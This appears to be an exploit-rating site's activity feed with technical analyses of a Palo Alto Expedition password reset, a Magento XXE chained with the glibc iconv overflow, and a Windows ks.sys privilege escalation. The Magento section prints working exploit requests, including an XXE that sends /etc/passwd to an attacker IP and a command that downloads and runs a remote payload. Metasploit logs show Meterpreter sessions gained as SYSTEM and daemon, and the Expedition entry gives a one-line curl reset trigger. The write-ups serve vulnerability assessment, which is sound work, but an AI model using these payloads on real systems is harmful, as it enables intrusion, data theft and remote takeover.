Activity Feed

Indicated source as
3
Ratings
Technical Analysis

Note: While this is a “just” password reset attack, there are authenticated vulnerabilities in the same product versions, including CVE-2024-9464, CVE-2024-9465, and CVE-2024-9466 that are available after the password is reset.
This is a vulnerability in the password reset of the Palo Alto Expedition web server, and is disturbingly simple. The password reset script is located in the /var/www/html directory, so it can be launched with the command curl -k 'https://<host>/OS/startup/restore/restoreAdmin.php'
That resets the admin password to the default paloalto
It is important to know this vulnerability can be paired with CVE-2024-9464, an authenticated command-injection vulnerability in Palo Alto Expedition. Attackers can reset the password using CVE-20245910, then use the credentials to exploit CVE-2024-9464.

This affects Expedition versions 1.2 up to 1.2.92; 1.2.92 is patched.
There ill be an obvious indications of compromise in that the admin password is changed.
Non-patching mitigations are unfortunately slim and rely on limiting access to trusted people, but that may not be an option in most cases. Setting up network based rules to prevent the request would likely work, but probably be as difficult and less reliable than patching to an unaffected version.

2
Ratings
Technical Analysis

Note: This write up will focus on the impact that CVE-2024-34102 can have when combined with CVE-2024-2961 and how the two bugs can be used to achieve RCE.

This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961) allows for unauthenticated Remote Code Execution on Magento and Adobe Commerce if the PHP and glibc versions are also vulnerable:

Vulnerable Magento and Adobe Commerce versions:

  • 2.4.7 and earlier
  • 2.4.6-p5 and earlier
  • 2.4.5-p7 and earlier
  • 2.4.4-p8 and earlier

Vulnerable PHP versions:

  • From PHP 7.0.0 (2015) to 8.3.7 (2024)

Vulnerable iconv() function in the GNU C Library:

  • 2.39 and earlier though they have backported this patch.

CVE-2024-34102

CVE-2024-34102 is an XML External Entity (XXE) Attack which results in the attacker being able to read arbitrary files off the system. The vulnerability stems from the attacker being able to instantiate a SimpleXMLElement class through unsafe deserialization of a JSON blob which in turn allows external entities to be resolved. The SimpleXMLElement class is instantiated by sending a POST request to the estimate-shipping-methods endpoint. Below we can see the XXE attack in motion by observing the data key value pair. The value of the data key is specially crafted XML which has a SYSTEM identifier which calls out to an attacker controller IP address.

POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Content-Type: application/json
Content-Length: 370

{
  "address": {
  "Tnqccv": "rhkicf",
  "totalsCollector": {
    "collectorList": {
    "totalCollector": {
      "sourceData": {
      "data": "<?xml version='1.0' ?><!DOCTYPE lsdr[  <!ELEMENT rafuie ANY >    <!ENTITY % xnidce SYSTEM 'http://172.16.199.130:8080/lytnb.dtd'> %xnidce; %txlbmju; ]> <r>&elrz;</r>",
      "options": 12345678
      }
    }
    }
  }
  }
}

Before sending the above POST request the attacker starts an HTTP server on the endpoint specified above: http://172.16.199.130:8080/ and hosts the following .dtd file which the above SYSTEM identifier calls out to, retrieves and parses. This file contains two SYSTEM identifiers and is where the arbitrary file read occurs. The first SYSTEM identifier is a PHP filter which reads the contents of /etc/passwd and base64 encodes the file contents and then saves that data to a variable in the .dtd file. Then the second SYSTEM identifier sends the saved base64 encoded file contents as a GET request parameter to the attacker controlled HTTP server:

      <!ENTITY % jywoefug SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
      <!ENTITY % txlbmju "<!ENTITY elrz SYSTEM 'http://172.16.199.130:8080/?bpapyj=%jywoefug;'>">

The attacker then parses the inbound GET request, base64 decodes the contents of /etc/passwd and now has successfully exploited the XXE to be able to read arbitrary files off the target host.

CVE-2024-2961

One might ask, how can you obtain RCE from an Arbitrary File Read? Enter CVE-2024-2961, which is a buffer overflow in the glibc. One might also ask, how can you overflow a buffer in glibc with an arbitrary file read? The answer is PHP Filters.

PHP Filters are an interesting concept that have been explored by security researchers in recent years. There are a number of fascinating things that can be accomplished by abusing them from an attacker’s perspective. PHP Filters provides a way to apply transformations to a stream before it is returned. The syntax:

php://filter/[filters...]/resource=[resource]

PHP Filters allow you to convert the stream to base64 as seen above, they also allow you to convert the stream from one character set to another:

php://filter/convert.iconv.UTF-8.UTF-16/resource=/etc/passwd

When PHP converts from one charset to another, it uses iconv, an API to convert characters in input buffer using conversion descriptor to output buffer. On Linux this API is implemented by glibc.

The API is straightforward. First, you need to open a conversion descriptor, which specifies the input and output character sets.

iconv_t iconv_open(const char *tocode, const char *fromcode);

Next, you can use iconv() to convert the data from the input buffer (inbuf) to the desired character set, storing the result in the output buffer (outbuf).

size_t iconv(iconv_t cd,
             char **restrict inbuf, size_t *restrict inbytesleft,
             char **restrict outbuf, size_t *restrict outbytesleft);

he caller is responsible for managing the buffers. If the output buffer is too small, iconv() will return an error, and you can reallocate outbuf and call iconv()
again to continue the conversion. The function guarantees that it will never read more than inbytesleft bytes from inbuf or write more than outbytesleft bytes to outbuf. Spoiler alert, the function failed to keep that guarantee and CVE-2024-2961 was born. CVE-2024-2961 is an Out-of-bound write vulnerability which occurs when converting to ISO-2022-CN-EXT.

ISO-2022-CN-EXT is a collection of charsets and when it needs to encode a character it chooses the appropriate charset and that emits an escape sequence to indicate that the decoder should switch that said charset

The following code handles the generation of these escape sequences. It consists of three if blocks, each writing different escape sequences to the outbuf (pointed to by outptr). The first if block [1] includes a check to ensure that the output buffer can accommodate 4 characters. However, the other two if blocks [2] and [3] do not perform such a check. As a result, the escape sequences could end up being written past the bounds of the buffer.

// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence.  */
if (set != used)
{
    /* First see whether we announced that we use this
        character set.  */
    if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
    {
        const char *escseq;

        if (outptr + 4 > outend) // <-------------------- BOUND CHECK
        {
            result = __GCONV_FULL_OUTPUT;
            break;
        }

        assert(used >= 1 && used <= 4);
        escseq = ")A\0\0)G)E" + (used - 1) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SO_ann) | (used << 8);
    }
    else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert(used == CNS11643_2_set); /* XXX */
        escseq = "*H";
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS2_ann) | (used << 8);
    }
    else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
    {
        const char *escseq;

        // <-------------------- NO BOUND CHECK

        assert((used >> 5) >= 3 && (used >> 5) <= 7);
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
        *outptr++ = ESC;
        *outptr++ = '$';
        *outptr++ = *escseq++;
        *outptr++ = *escseq++;

        ann = (ann & ~SS3_ann) | (used << 8);
    }
}

To trigger the bug, we need to force iconv() to generate an escape sequence near the end of the output buffer. This can be done by using uncommon characters like 劄, 䂚 峛, or 湿. This leads to an overflow of 1 to 3 bytes, with the following values:

  • $*H [24 2A 48]
  • $+I [24 2B 49]
  • $+J [24 2B 4A]
  • $+K [24 2B 4B]
  • $+L [24 2B 4C]
  • $+M [24 2B 4D]

Now, to make use of this to obtain RCE the idea is to use this single-byte buffer overflow to modify the LSB of the pointer to a free chunk, in order to get control over a free list. To do this we have to send our payload and the necessary data to set up the heap all in one PHP filter. This is no simple task.

The PHP filter zlib.inflate takes the stream passed to it and decompresses it. To do so, it allocates a buffer of 8 pages (0x8000 bytes) and inflates the stream into it. If the stream doesn’t fit into that space, it allocates more. This gives us lots of space to work with and opportunities to manipulate and pad the heap. Usually in PHP when a single HTTP request requests a file , PHP will create one bucket containing the entire HTTP response, which does not provide much wiggle room for heap grooming.

In order to fully understand how this works I highly suggest reading the work written by Charles Fol as I have glossed over some of the complexities. However to understand the 6 step process of how to set up the heap in order to exploit I will quote Charles as he explains it quite nicely:

Consider that we have managed to pad the heap by allocating lots of 0x100 chunks. We thus have, somewhere in memory, three contiguous free chunks A, B, and C, with A being head of FL[100]. A points to B, which points to C. We can allocate the 3 of them (step 2), and free them again (step 3). At this point, the free list is reversed: we have C→B→A. We then allocate again, but this time we put an arbitrary pointer 0x1122334455 at offset 48h of C (step 4). We free them again (step 5), and get the exact same state as in step 1, but this time with a small difference: at C+48h, we have an arbitrary pointer. We can now perform the overflow from chunk A, which shifts the pointer contained in B. It now points to C+48h, and as a result the free list is now B→C+48h→0x1122334455. With 3 more allocations, we can make PHP allocate at our arbitrary address.

Bringing Everything together

Now we see how we can achieve Write-What-Where with a single byte overflow. Impressive stuff. Although how can we use this to obtain RCE in Magneto by combining this with our Arbitrary File Read?

First use the arbitrary file read download /proc/self/maps which describes a region of contiguous virtual memory of a process. This will give us the address of PHP’s heap, it will also tell us the file path of glibc and where it resides in memory.

Then download the glibc binary, parse it and extract the offsets of some useful gadgets that will help us obtain RCE. Those include emalloc() free() and erealloc(). And with these we can construct a single PHP filter that when sent to the target host using the XXE technique will execute arbitrary code.

What’s also impressive is the size of the single POST request required to deliver the following payload:
curl -so ./wYcxFcxNwr http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./wYcxFcxNwr; ./wYcxFcxNwr && kill -9 $PPID

POST /rest/V1/guest-carts/NRenBcmDDNHVEawkvJzamLAPmZifTosC/estimate-shipping-methods HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Content-Type: application/json
Content-Length: 2020

{"address":{"totalsReader":{"collectorList":{"totalCollector":{"sourceData":{"data":"<?xml version='1.0' ?><!DOCTYPE rcqsl[  <!ELEMENT nbdyzy ANY >    <!ENTITY % kzkommbe SYSTEM \"http://172.16.199.130:8080/muziyj/cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS96bGliLmluZmxhdGUvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LlVURi04LklTTy0yMDIyLUNOLUVYVC9jb252ZXJ0LnF1b3RlZC1wcmludGFibGUtZGVjb2RlL2NvbnZlcnQuaWNvbnYubGF0aW4xLmxhdGluMS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGUzdlhzZS9KTmxHMmhMWDNPWXNZMzYvVUNwMWFkZkRvbHZTMHVkb2NacVdkT1p0T2FIMy9ZdnRIbzQrWDVlYU5BdllURGZmWkg5V0hPSzlTK3RweEwweVRBVC93U1l6dDMzSHFyVlpxek5Ub0swSFRkcm9XT1JEUW9iWnhuWHZNMDdLcFJ1dE82V1pwbnI2alpLbEFRTWZraU92SzY0cDJlMG1HUHhYYk9pVTFiNktNQUg0Tk0wN1YzbjJzOVJUa3FFdjFqUHY2bzMrYS9mendNWE45NnRycWxhL2o4dnQvVmYyUHI3Mm9rcno3MHU4L0N3UlA3bWNuNElCLzkyMjl2M3k2NFM0WmZsdnVhMlRXemV5ZFY3OTY3N1Y5OVhydnRFdkhvMWZlRHR0ZnQrNzE4LzgvcXUvdG4vWi9uLzJrN1R6NHphcy85ZmY1YS9ZVDcrM2o3UjNxL21mRy9BMVpaUGYrNjljVjY2TnIvMFhrTDcxbmQvMzZYcnY5Y1ovMXYzN2J1aS91NjhleXU5dXV2LzE1KzRuMy8ycTdxZHR0di8rNnRTN3cxZC9nZXBYanRXdS9oKys5LzZ2OXk4L1AyMDlHeTk5LzlyMXF2OXpPOTllZm5QcjNablZlZnVudDE0K3phK3RlbnIrMy9WZk5sL1Bubno1ZFlqLzcvdStWOVllK0pjZUg2cjM4L3ZITSs5cjlZbVh2czZ2cjN0MnV6THZlZCs4M2IzMUI5bVBuZncrOGQ5aXVueGovSzI1Ky90L1VmLy9zZnRjVmI3cnEvbkp4ZnU3dmI0dmZ0WDI4N3FieS94NkJjRnUyY1YxMXpOS1lwVDJyZzVKbTN0VC8veTljNVRnemZpME5EMjJVa2s5bnJEMHVkMXBGNmFVOUFRc09WN29jbTNZeHF0OTJtcWZMcFhvQ2l0cytkL1RvTHQ0cVY2MHp1V1BKZndLS2VaNExTa2E3WmR0K2kxQVQ5UHpQaUYreHhEbGxvMjA5MTZyZWJQUlJtdlNQZ0E4TjVyaW41RWl1L1hvamVhYUx5bDhDU1MvQm92L0VEYU9vMXh1UEczVjYvT0xIci9oQWdkekVqYWxicmlYM3B3cE4vQ0kvR3RDakFVMXVRQy9iUGszSU9MZGNkbmV0ZEdxdjZxUmtBbVliN04wNlpVYm03dGMzM3Q3V3lOYVpLRU1vazc5Y3UvU0l6KzNZNDNuMzNTS1RPNTlJRUtwa3NuV0I1Y2lSNzF2ZXVPdVpUK1AvK1AzcC9QcmZEK1ZQQ3duMkViRHB3SlpybTQ2SGV0WDRuNjZiRW1FWDRXTEJSOENxeTFHbjVjSTFQOXJxL2c1TStwa2crRkViQUE9PQ==\"> %kzkommbe; %dirpg;  ]> <r>&tpdgfd;</r>","options":524290}}}}}}

The above request isn’t tiny by any means but it’s not suspiciously large (it’s not going to hit any reasonable length limitation) and considering that single request is
padding the heap, setting up the free list, and finally getting code execution. That’s pretty great. The high reliability of the exploit should also be mentioned. You can run this exploit (or the metasploit module if you choose) over and over again and you’ll get a session every time. It’s quite stable and has no negative side effects on the target.

Attacker Value & Exploitability

There are a number of exploit conditions that need to be met in order for RCE vuln combo to work correctly. You need Magento, PHP and glibc all to be unpatched. If one has received a patch for this chain it won’t work. In addition you need to ensure that the data wrapper and the filter wrapper both are configured to work with PHP filters and that the zlib extension is enabled. For me these reasons bring down the exploitability rating a fair bit. However Magento / Adobe Commerce is a pretty popular application with 140,000 installations on the internet and if the target is vulnerable, due to the high reliability of the exploit, you have a sure shot at establishing a session on the target host without needing credentials which contributes to the higher Attacker Value.

Metasploit Module in Action

msf6 exploit(linux/http/magento_xxe_to_rce) > run

[*] Command to run on remote host: curl -so ./WcyjzEOpnb http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./WcyjzEOpnb; ./WcyjzEOpnb &
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 172.16.199.130:8080
[*] HTTP server started
msf6 exploit(linux/http/magento_xxe_to_rce) > [*] Adding resource /7IH_n64ep-e10j3LFxxxxg
[*] Started reverse TCP handler on 172.16.199.130:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using URL: http://172.16.199.130:8080/
[*] Server started
[*] module setup
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L2V0Yy9wYXNzd2Q=
[*] Attempting to download /etc/passwd
[+] Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9ZGF0YTp0ZXh0L3BsYWluO2Jhc2U2NCxZVlJNYUd4WWMwTjZVbTFSWTI5Q1RGUlpSMFpZWlhoc2FXZFBTbWgyYkVKTVRuZEpjMFJqWjJ0M1ZtbFlhMlZwWm5JPQ==
[+] The data wrapper is working
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9cGhwOi8vZmlsdGVyLy9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGNVZEpkRWhzZVVsMGVtcEZTVTlPVVc5dWFHeDRZbU5tWW5WWFRYRk9VSGx4ZG5SdlZWaGFZV2x2Y0hCVlRVaDFZa0U9
[+] The filter wrapper is working
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGN3bXVMSGNPZFF2TmNROHRyTXJ6SzgxS0xuUFBEL01vaTh4T1NRK3A4a3VKeWk1TUxuY3ZkdzZzeVBIT2NYTVA5STBDQUE9PQ==
[+] The zlib extension is enabled
[+] Exploit precondition 2/3 met: PHP appears to be exploitable.
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Byb2Mvc2VsZi9tYXBz
[+] Successfully downloaded /proc/self/maps and parsed regions
[*] Potential heaps: [i]0x7b2518800040, 0x7b2518400040, 0x7b2517e00040, 0x7b2517a00040, 0x7b2517600040[/] (using first)
[+] Successfully extracted the location in memory of the PHP heap
[+] Successfully located the libc region in memory: {:start=>135399346831360, :stop=>135399346987008, :permissions=>"r--p", :path=>"/usr/lib/x86_64-linux-gnu/libc.so.6"}
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9jb252ZXJ0LmJhc2U2NC1lbmNvZGUvcmVzb3VyY2U9L3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9saWJjLnNvLjY=
[+] Exploit precondition 3/3 met: glibc is version: 2.36
[+] The target appears to be vulnerable.
[*] Attempting to parse libc to extract necessary symbols and addresses
[*] __libc_malloc: 135399347456096
[*] __libc_system: 135399347143824
[*] __libc_realloc: 135399347458144
[*] Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps
[*] COMMAND: curl -so ./WcyjzEOpnb http://172.16.199.130:8080/7IH_n64ep-e10j3LFxxxxg; chmod +x ./WcyjzEOpnb; ./WcyjzEOpnb && kill -9 $PPID
[*] Sending payload...
[*] Sending XXE request
[*] Filter path being sent: cGhwOi8vZmlsdGVyL3psaWIuaW5mbGF0ZS96bGliLmluZmxhdGUvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LmxhdGluMS5sYXRpbjEvZGVjaHVuay9jb252ZXJ0Lmljb252LlVURi04LklTTy0yMDIyLUNOLUVYVC9jb252ZXJ0LnF1b3RlZC1wcmludGFibGUtZGVjb2RlL2NvbnZlcnQuaWNvbnYubGF0aW4xLmxhdGluMS9yZXNvdXJjZT1kYXRhOnRleHQvcGxhaW47YmFzZTY0LGUzdlhzTy9KRGxHMmhLUHZXZlkxRksveUNqM0tKK0h6M3VmNHZxWU4zckdIT3BuZDl5MS8vOUE5Y3cvMzRaTlNlY3h5SDM0Ny9Pblg4Z2hkSkJlNDBvdVJBUzlJNEhxOTYzaGtYcnJtOWNDZHJ0cXBNNk5WcEZrSTZCQ2l2WTVsUmZIWmM1Yk9XUnJqdnJUSC9FQi9vZlo5OWZsMis2NkVYUXZ6anM3ZWJYdnI5ZC82cjg2VGU5NzZuUDg4MlUybG5oKy9hUXgvOWxkUGszZ2F1TDVJTnRmMDF1WXRRZEU3dDM2TkJobXpkNnJSc2VqTTI5ZnM5bTM3K25wL3piem42NS9lUDkvL1JKTVpyM0VINnAvOE8vMlQ2ZE52L2VmY0o5N2J4N3ZiVDg4NFgxME5OTy9hUFB1dDBabmIxNzh0elQvZlgveHY3VjI3VzQ5TDUzMitOaS8rMW12djIzSzV2elBXWDVwMy85Wm5NNy9xYTk5dW5RdTg5ZmYwRHBYanRibmZ3M2ZmUHphOTUrZm4rWk8zRys0Ny8vNXRYVnpSK3VkUHpoUytYWjJibjd2NjdVZkRPdFgxZS9QZi9wUzRQMy83OU1tRnVaTGZKOS9mOFBmS3R2VHFxL2VQR2RkLy83dG40KzhkMjU5ZjN6am5lZG02RjdWelBsaFBMNnM5K2I2R1kvdHp5MCtUdjMrcmtlYi9mUDI1NWJYWms5ZmFucEpJenJ6OWZmb3U2V1AxNWtvL3EvSDdsV0hHc1YzWExMd3R2WGYyZVhXbXB0WC92eDJ2ZkZPT1FIakg5TmthYmV1NTUzNGxRazNROHorQkZMaERwam9sUjNKdi80cU5Qa3FUL2hGd1RZSGx0eE0zaktya0E1Tm51cWo4WmNlditFSFJtNGtiVTcvWUxUcG0xT254aTBBaU9mRDBobkx5NlJlMUxyMnBRaE8veU9OWDNIQjZvL3V4YVJkL2QwaWRWbEY2YVU4Z09LWW45L2ZvTHY0dWFEck4wK1ZTUFFIRmVzZmxKS1BkM2l0bjZVenVXUEovTktCSEE1cmNnRGJZdTNYS2pNeWRyN2ZlMnI1NnpVYVhUYndFL0xocyt6UWhZOTN5dldHL3k2YWFUdlBZUnNDWEI3NWNDMHBhOW5UZDlhejc2ellkRXpwcFJzRDRHZGVpc3VZc1BkSmZjcnQvejkwSXU2UHpwKzMvODdDL1BtNWF4d1paUWk3Yk9rMHFYZk9qOHQxdmk0OThPcWwwcUl4NHE0Uk9xM2QzMURNQUFBPT0=
[*] Client 172.19.0.4 requested /7IH_n64ep-e10j3LFxxxxg
[*] Sending payload to 172.19.0.4 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 172.19.0.4
[*] Meterpreter session 2 opened (172.16.199.130:4444 -> 172.19.0.4:57838) at 2024-11-06 17:58:19 -0800
session -i -1
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit(linux/http/magento_xxe_to_rce) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: daemon
meterpreter > sysinfo
Computer     : 172.19.0.4
OS           : Debian 12.5 (Linux 6.8.0-40-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

References

https://www.ambionics.io/blog/iconv-cve-2024-2961-p1#dechunking-properly

1
Ratings
Technical Analysis

The ks.sys driver on Windows is one of the core components of Kernel Streaming and is installed by default. There exists an Access Mode Mismatch LPE in this driver which can be exploited on versions of Windows between 10.0.10240 – 10.0.25398 before the June 2024 patch Tuesday update which include but are not limited to:

  • Windows 11 22H2 (before 10.0.22621.3737)
  • Windows 11 21H2 (before 10.0.22000.3019)
  • Windows 10 22H2 (before 10.0.19045.4529)
  • Windows 10 21H2 (before 10.0.19044.4529)
  • Windows 10 1607 (before 10.0.14393.7070)
  • Windows Server 2022 (before 10.0.20348.2522)
  • Windows Server 2016 (before 10.0.14393.7070)

Older EOL versions of Windows are said to be vulnerable though I have not tested them. I have found the version listed above to be exploitable with the metasploit module. It should be noted that Hyper-V hosted installations of Windows by default don’t have an audio device configured making the vulnerability unexploitable.

About the Bug Class

Access Mode Mismatch bugs in the Windows kernel center around the PreviousMode member of the KTHREAD structure. Every thread has a previous access mode associated with it. The PreviousMode is set to UserMode(1) if a user operates on a device or file through Nt* System Service Call, indicating that the System Service call is from the user. The PreviousMode is set to KernelMode(2) if for example a device driver invoking the Zw* System Service Call.

RequestorMode is a similar field in the I/O Request Packet (IRP) which indicates if the original request came from KernelMode or UserMode. This commonly used field is typically derived from PreviousMode.

About the Vulnerability

An application can use IOCTL_KS_PROPERTY to get or set properties, or to determine the properties supported by a KS object. An application passes IOCTL_KS_PROPERTY to the ks!KsSynchronousIoControlDevice with a few parameters: IOControl, RequestorMode, Input Buffer, Input Buffer Length, Output Buffer, Output Buffer Length and Status Code. To improve efficiency in IOCTL_KS_PROPERTY of Kernel Streaming, the requests KSPROPERTY_TYPE_SERIALIZESET and KSPROPERTY_TYPE_UNSERIALIZESET are provided to allow users to operate on multiple properties in a single call.

The vulnerability stems from the driver’s use of the function ks!KsSynchronousIoControlDevice.There are multiple calls to this function throughout the driver which incorrectly hard code the RequestorMode parameter value KernelMode. The vulnerable function ks!KsSynchronousIoControlDevice can be invoked by issuing a KSPROPERTY_TYPE_UNSERIALIZESET request in which user controlled parameters are handled with KernelMode privileges specifically when the property is set to KSPROPSETID_DrmAudioStream. This provides a primitive that allows users to perform arbitrary IOCTL_KS_PROPERTY operations.

To achieve EoP with this primitive first kCFG must be bypassed. By using the legitimate function RtlSetAllBits from ntoskrnl.exe, the arbitrary IOCTL_KS_PROPERTY operation can be turned into a arbitrary write primitive which can be used to achieve EoP by whatever typical method the user preferers. The metasploit module uses the write primitive to replace the current process token with a system token. Abusing token privileges is also an option.

Attacker Value and Exploitability

The exploit for this vulnerability is very reliable and very stable. It’s worked every time I’ve run it on every vulnerable system I’ve tested it on. Some Windows EoP exploits depending on the nature of the exploit and how privileges are actually being elevated can be flakey and their success rates can vary however this exploit is rock solid. The vulnerable ks.sys is installed by default making this a very useful exploit for attackers and is why I chose to rate it 5/5 for Exploitability. It requires user level privileges as it’s EoP and although affects a very wide range of supported Windows operating systems and is why I chose to give an Attacker Value rating of 4/5.

Metasploit Module in Action

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use cve_2024_35250

Matching Modules
================

   #  Name                                            Disclosure Date  Rank       Check  Description
   -  ----                                            ---------------  ----       -----  -----------
   0  exploit/windows/local/cve_2024_35250_ks_driver  2024-06-11       excellent  Yes    Windows Access Mode Mismatch LPE in ks.sys


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/local/cve_2024_35250_ks_driver

[*] Using exploit/windows/local/cve_2024_35250_ks_driver
[*] Using configured payload windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set lport 5555
lport => 5555
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > set session -1
session => -1

msf6 exploit(windows/local/cve_2024_35250_ks_driver) > run
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.123.1:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ks.sys is present, Windows Version detected: Windows 10+ Build 22621
[*] Launching notepad to host the exploit...
[*] The notepad path is: C:\Windows\System32\notepad.exe
[*] The notepad pid is: 4704
[*] Reflectively injecting the DLL into 4704...
[*] Sending stage (201798 bytes) to 192.168.123.232
[*] Meterpreter session 18 opened (192.168.123.1:5555 -> 192.168.123.232:49837) at 2024-11-05 16:59:05 -0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
dmeterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 11 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > exit

References

https://github.com/varwara/CVE-2024-35250
https://devco.re/blog/2024/08/23/streaming-vulnerabilities-from-windows-kernel-proxying-to-kernel-part1-en/
https://googleprojectzero.blogspot.com/2019/03/windows-kernel-logic-bug-class-access.html

1

As of today, Nov 4th 2024, SonicWall PSIRT updated their advisory with new confirmed Indicators of Compromise (IOC) regarding threat-actors attempting to abuse this vulnerability: https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0015